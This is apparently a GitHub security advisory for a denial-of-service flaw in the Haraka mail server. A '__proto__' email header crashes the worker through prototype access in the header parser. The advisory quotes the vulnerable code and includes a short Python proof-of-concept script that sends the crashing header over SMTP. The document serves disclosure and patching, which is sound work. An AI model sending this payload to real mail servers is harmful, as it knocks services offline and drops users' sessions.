GHSA-xph3-r2jf-4vp3

### Summary

Sending an email with `__proto__:` as a header name crashes the Haraka worker process.

### Details

The header parser at `node_modules/haraka-email-message/lib/header.js:215-218` stores headers in a plain `{}` object:

```javascript _add_header(key, value, method) { this.headers[key] ??= [] // line 216 this.headers[key][method](value) // line 217 } ```

When `key` is `__proto__`: 1. `this.headers['__proto__']` returns `Object.prototype` (the prototype getter) 2. `Object.prototype` is not null/undefined, so `??=` is skipped 3. `Object.prototype.push(value)` throws `TypeError: not a function`

The TypeError reaches the global `uncaughtException` handler at `haraka.js:26-33`, which calls `process.exit(1)`:

```js process.on('uncaughtException', (err) => { if (err.stack) { err.stack.split('\n').forEach((line) => logger.crit(line)) } else { logger.crit(`Caught exception: ${JSON.stringify(err)}`) } logger.dump_and_exit(1) }) ```

### PoC

```python import socket, time

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect(("127.0.0.1", 2525)) sock.recv(4096) sock.sendall(b"EHLO evil\r\n"); sock.recv(4096) sock.sendall(b"MAIL FROM:<x@x.com>\r\n"); sock.recv(4096) sock.sendall(b"RCPT TO:<user@haraka.local>\r\n"); sock.recv(4096) sock.sendall(b"DATA\r\n"); sock.recv(4096) # Crash payload sock.sendall(b"From: x@x.com\r\n__proto__: crash\r\n\r\nbody\r\n.\r\n") ```

### Impact

In single-process mode (`nodes=0`), the entire server goes down. In cluster mode, the master restarts the worker, but all sessions are lost.